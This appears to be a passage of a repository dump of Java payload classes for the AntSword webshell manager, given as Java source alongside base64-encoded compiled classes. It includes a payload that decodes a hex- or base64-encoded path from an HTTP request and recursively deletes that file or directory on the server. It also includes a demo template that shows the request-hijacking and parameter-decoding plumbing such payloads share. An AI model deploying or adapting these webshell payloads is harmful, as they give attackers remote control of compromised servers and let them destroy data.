IApwAFEha1ABe7ABhZEhO3ABlNuwAYWRITtwAZTiq0AAMSGrkAGwIAKrQAAiq0ABe5ABwCACq0AAMqtAAXuQAdAgAqKrsAHlm3AB8qtAACEiC5ABICALYAIRITtgAhtgAitgAjtgAkOgQsEiW2ACZXLSoZBLYAJ7YAJlcsLbYAKLYAJlcsEim2ACZXKrQAA7kAKgEALLYAKLYAK6cAIToELbsAHlm3AB8SLLYAIRkEtgAttgAhtgAitgAmVwSsAAMANABwAHMADwCKAMYAyQAPASYBpAGnAA8AAgBbAAAAsgAsAAAAEAAHABEADAASABcAEwAiABQALAAVADQAFwBBABgARgAZAFIAGgBdABsAYwAcAHAAHwBzAB0AdAAeAHgAHwB7ACEAggAiAIoAJACXACUAnAAmAKgAJwCzACgAuQApAMYALADJACoAygArAM4ALgDwAC8BEgAwARwAMQEmADMBMQA0AT4ANQFLADYBcgA3AXkAOAGEADkBjQA6AZQAOwGkAD4BpwA8AakAPQHFAD8AXgAAAFYACyX3AE0HAF8H9wBNBwBfBFwHAGD/AAEAAgcAYQcAYgACBwBgBwBjXwcAYP8AAQACBwBhBwBiAAIHAGAHAGP/AJcABAcAYQcAYgcAZAcAZAABBwBfHQAAAGUAZgACAFoAAABDAAQAAgAAAB4qtAAUEi62AC+ZAAUrsLsAMFkrtgAxKrQAF7cAMrAAAAACAFsAAAAKAAIAAABDAA4ARABeAAAAAwABDgBnAAAABAABAA8AAABoAGYAAgBaAAAB5QAGAAYAAAEtKrQAFBIutgAvmQCVK8YADCsSE7YAL5kABhITsBIzTSu2ADRMuwA1WSu2ADYFbLcAN04SEzoEAzYFFQUrtgA2ogBYuwAeWbcAHxkEtgAhLCsVBbYAOLYAOQd4LCsVBQRgtgA4tgA5gLYAOhI7tgAhtgAiOgQtLCsVBbYAOLYAOQd4LCsVBQRgtgA4tgA5gLYAPIQFAqf/pS0SFrYAPbAqtAAUEj62AC+ZAIQBTRI/uABATi0SQQS9AEJZAxMAMFO2AEMttgBEBL0ARVkDK1O2AEbAAEfAAEdNpwBIThJJuABAOgQZBBJKA70AQrYAQwEDvQBFtgBGOgUZBbYACRJLBL0AQlkDEwAwU7YAQxkFBL0ARVkDK1O2AEbAAEfAAEdNuwAwWSwSFrcAMrArsAABAKwA2ADbAEgAAgBbAAAAXgAXAAAASAAMAEkAGQBKABwATAAfAE0AJABOADIATwA2AFAAQgBRAHQAUgCRAFAAlwBUAJ4AVQCqAFYArABYALIAWQDYAF4A2wBaANwAWwDjAFwA+ABdASAAXwErAGEAXgAAADoACBkC/wAcAAYHAGEHAGMHAGMHAGkHAGMBAAD6AF34AAb/ADwAAwcAYQcAYwcARwABBwBq+wBE+gAKAGcAAAAEAAEADwAAAGsAZgACAFoAAAAxAAMAAwAAABG7AExZK7cATU0stgBOVxJPsAAAAAEAWwAAAA4AAwAAAGUACQBmAA4AZwBnAAAABAABAA8AAQBsAAAAAgBt -------------------------------------------------------------------------------- /DeleteFileOrDirCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/DeleteFileOrDirCode.class -------------------------------------------------------------------------------- /DeleteFileOrDirCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.lang.reflect.Field; 7 | 8 | public class DeleteFileOrDirCode { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var1 = EC(decode(request.getParameter("var1") + "", encoder, cs), encoder, cs); 55 | output.append("->" + "|"); 56 | sb.append(DeleteFileOrDirCode(var1)); 57 | output.append(sb.toString()); 58 | output.append("|" + "<-"); 59 | response.getWriter().print(output.toString()); 60 | } catch (Exception e) { 61 | sb.append("ERROR" + ":// " + e.toString()); 62 | } 63 | return true; 64 | } 65 | 66 | String EC(String s, String encoder, String cs) throws Exception { 67 | if (encoder.equals("hex")) return s; 68 | return new String(s.getBytes(), cs); 69 | } 70 | 71 | String decode(String str, String encode, String cs) throws Exception { 72 | if (encode.equals("hex")) { 73 | if (str == null || str.equals("")) { 74 | return ""; 75 | } 76 | String hexString = "0123456789ABCDEF"; 77 | str = str.toUpperCase(); 78 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 79 | String ss = ""; 80 | for (int i = 0; i < str.length(); i += 2) { 81 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 82 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 83 | } 84 | return baos.toString("UTF-8"); 85 | } else if (encode.equals("base64")) { 86 | byte[] bt = null; 87 | try { 88 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 89 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 90 | } catch (ClassNotFoundException e) { 91 | Class clazz = Class.forName("java.util.Base64"); 92 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 93 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 94 | } 95 | return new String(bt, "UTF-8"); 96 | } 97 | return str; 98 | } 99 | 100 | String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { 101 | File f = new File(fileOrDirPath); 102 | if (f.isDirectory()) { 103 | File x[] = f.listFiles(); 104 | for (int k = 0; k < x.length; k++) { 105 | if (!x[k].delete()) { 106 | DeleteFileOrDirCode(x[k].getPath()); 107 | } 108 | } 109 | } 110 | f.delete(); 111 | return "1"; 112 | } 113 | 114 | } 115 | -------------------------------------------------------------------------------- /DeleteFileOrDirCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIA+AoARQB0CQBTAHUJAFMAdgcAdwoABAB4BwB5CgAEAHoHAHsKAEUAfAgAVAoAQgB9CgB+AH8KAH4AgAgAVgcAgQoADwCCCABYCwAGAIMIAIQJAFMAhQgAhggAhwkAUwCIBwCJCgAYAIoIAIsLAAgAjAsABgCNCwAIAI0HAI4KAB4AdAgAjwoAHgCQCgAeAJEKAFMAkgoAUwCTCACUCgAYAJUKAFMAlgoAGACRCACXCwAIAJgKAJkAmggAmwoADwCRCACcCgAwAJ0HAJ4KADAAnwoAMACgCAChCgAwAKIHAKMKADAApAoANQClCgAwAKYKADAApwoAHgCoCACpCgA1AKoKADUAqwgArAgArQoAQgCuCACvBwCwCgBCALEKAEIAsgcAswoAtAC1BwC2BwC3CAC4CAC5CABrBwC6CgBMAIoKAEwAuwoATAC8CgBMAL0KAEwAvggAvwcAbgEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAgQcAbgcAbgcAswcAngcAiQEAAkVDAQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCjBwC3AQATRGVsZXRlRmlsZU9yRGlyQ29kZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwC6BwDAAQAKU291cmNlRmlsZQEAGERlbGV0ZUZpbGVPckRpckNvZGUuamF2YQwAWwBcDABUAFUMAFYAVwEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADBAMIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DADDAMQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAxQDGDADHAMgHAMkMAMoAywwAzADNAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAzgBcDADPAG8BAAAMAFgAWQEAB2NoYXJzZXQBAAVVVEYtOAwAWgBZAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAWwDQAQAJdGV4dC9odG1sDADRANAMANIA0AEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwA0wDUDADVANYMAGsAaQwAaABpAQADLT58DADTANcMAG4AbwEAA3w8LQwA2ADZBwDaDADbANABAAlFUlJPUjovLyABAANoZXgMAF8AYAEAEGphdmEvbGFuZy9TdHJpbmcMANwA3QwAWwDeAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA3wDWAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAOAA4QwAWwDiDADjAOQMAOUA5gwA0wDnAQABLAwA6ADiDADVAG8BAAZiYXNlNjQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDADpAOoBAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAOsA7AwA7QDuAQAQamF2YS9sYW5nL09iamVjdAcA7wwA8ADxAQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyAQAMamF2YS9pby9GaWxlDADyAPMMAPQA9QwA9gDzDAD3ANYBAAExAQAPW0xqYXZhL2lvL0ZpbGU7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALaXNEaXJlY3RvcnkBAAMoKVoBAAlsaXN0RmlsZXMBABEoKVtMamF2YS9pby9GaWxlOwEABmRlbGV0ZQEAB2dldFBhdGgAIQBTAEUAAAAEAAEAVABVAAAAAQBWAFcAAAABAFgAWQAAAAEAWgBZAAAABQAB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 -------------------------------------------------------------------------------- /Demo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/Demo.class -------------------------------------------------------------------------------- /Demo.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | 7 | public class Demo { 8 | public HttpServletRequest request = null; 9 | public HttpServletResponse response = null; 10 | public String encoder; 11 | public String cs; 12 | 13 | @Override 14 | public boolean equals(Object obj) { 15 | if (obj instanceof PageContext) { 16 | PageContext page = (PageContext) obj; 17 | request = (HttpServletRequest) page.getRequest(); 18 | response = (HttpServletResponse) page.getResponse(); 19 | } else if (obj instanceof HttpServletRequest) { 20 | request = (HttpServletRequest) obj; 21 | try { 22 | Field req = request.getClass().getDeclaredField("request"); 23 | req.setAccessible(true); 24 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 25 | Field resp = request2.getClass().getDeclaredField("response"); 26 | resp.setAccessible(true); 27 | response = (HttpServletResponse) resp.get(request2); 28 | } catch (Exception e) { 29 | e.printStackTrace(); 30 | } 31 | 32 | } else if (obj instanceof HttpServletResponse) { 33 | response = (HttpServletResponse) obj; 34 | try { 35 | Field resp = response.getClass().getDeclaredField("response"); 36 | resp.setAccessible(true); 37 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 38 | Field req = response2.getClass().getDeclaredField("request"); 39 | req.setAccessible(true); 40 | request = (HttpServletRequest) req.get(response2); 41 | } catch (Exception e) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 46 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 47 | StringBuffer output = new StringBuffer(""); 48 | StringBuffer sb = new StringBuffer(""); 49 | try { 50 | response.setContentType("text/html"); 51 | request.setCharacterEncoding(cs); 52 | response.setCharacterEncoding(cs); 53 | String var0 = EC(decode(request.getParameter("var0") + "")); 54 | String var1 = EC(decode(request.getParameter("var1") + "")); 55 | String var2 = EC(decode(request.getParameter("var2") + "")); 56 | String var3 = EC(decode(request.getParameter("var3") + "")); 57 | output.append("->" + "|"); 58 | sb.append(test(var0)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String test(String args) { 103 | return args; 104 | } 105 | 106 | } 107 | -------------------------------------------------------------------------------- /Demo.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIA6AoASABtCQBPAG4JAE8AbwcAcAoABABxBwByCgAEAHMHAHQKAEgAdQgAUAoARQB2CgB3AHgKAHcAeQgAUgcAegoADwB7CABUCwAGAHwIAH0JAE8AfggAfwgAgAkATwCBBwCCCgAYAIMIAIQLAAgAhQsABgCGCwAIAIYHAIcKAB4AbQgAiAoAHgCJCgAeAIoKAE8AiwoATwCMCACNCACOCACPCACQCgAYAJEKAE8AkgoAGACKCACTCwAIAJQKAJUAlggAlwoADwCKCACYCgAzAJkHAJoKADMAmwoAMwCcCACdCgAzAJ4HAJ8KADMAoAoAOAChCgAzAKIKADMAowoAHgCkCAClCgA4AKYKADgApwgAqAgAqQoARQCqCACrBwCsCgBFAK0KAEUArgcArwoAsACxBwCyBwCzCAC0CAC1CABnBwC2AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwB6BwC2BwC2BwCvBwCaBwCCAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAJ8HALMBAAR0ZXN0AQAKU291cmNlRmlsZQEACURlbW8uamF2YQwAVwBYDABQAFEMAFIAUwEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DAC3ALgBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAC5ALoBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAuwC8DAC9AL4HAL8MAMAAwQwAwgDDAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAxABYDADFAGUBAAAMAFQAVQEAB2NoYXJzZXQBAAVVVEYtOAwAVgBVAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAVwDGAQAJdGV4dC9odG1sDADHAMYMAMgAxgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAyQDKDADLAMwMAGcAZQwAZABlAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADJAM0MAGoAZQEAA3w8LQwAzgDPBwDQDADRAMYBAAlFUlJPUjovLyABAANoZXgMAFsAXAEAEGphdmEvbGFuZy9TdHJpbmcMANIA0wwAVwDUAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA1QDMAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MANYA1wwAVwDYDADZANoMANsA3AwAyQDdAQABLAwA3gDYDADLAGUBAAZiYXNlNjQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDADfAOABAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAOEA4gwA4wDkAQAQamF2YS9sYW5nL09iamVjdAcA5QwA5gDnAQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyAQAERGVtbwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwAhAE8ASAAAAAQAAQBQAFEAAAABAFIAUwAAAAEAVABVAAAAAQBWAFUAAAAFAAEAVwBYAAEAWQAAAC8AAgABAAAADyq3AAEqAbUAAioBtQADsQAAAAEAWgAAAA4AAwAAAAcABAAIAAkACQABAFsAXAABAFkAAAOAAAUACAAAAjwrwQAEmQAhK8AABE0qLLYABcAABrUAAiostgAHwAAItQADpwCsK8EABpkAUiorwAAGtQACKrQAArYACRIKtgALTSwEtgAMLCq0AAK2AA3AAAZOLbYACRIOtgALOgQZBAS2AAwqGQQttgANwAAItQADpwBeTSy2ABCnAFYrwQAImQBPKivAAAi1AAMqtAADtgAJEg62AAtNLAS2AAwsKrQAA7YADcAACE4ttgAJEgq2AAs6BBkEBLYADCoZBC22AA3AAAa1AAKnAAhNLLYAECoqtAACEhG5ABICAMYAESq0AAISEbkAEgIApwAFEhO1ABQqKrQAAhIVuQASAgDGABEqtAACEhW5ABICAKcABRIWtQAXuwAYWRITtwAZTbsAGFkSE7cAGU4qtAADEhq5ABsCACq0AAIqtAAXuQAcAgAqtAADKrQAF7kAHQIAKiq7AB5ZtwAfKrQAAhIguQASAgC2ACESE7YAIbYAIrYAI7YAJDoEKiq7AB5ZtwAfKrQAAhIluQASAgC2ACESE7YAIbYAIrYAI7YAJDoFKiq7AB5ZtwAfKrQAAhImuQASAgC2ACESE7YAIbYAIrYAI7YAJDoGKiq7AB5ZtwAf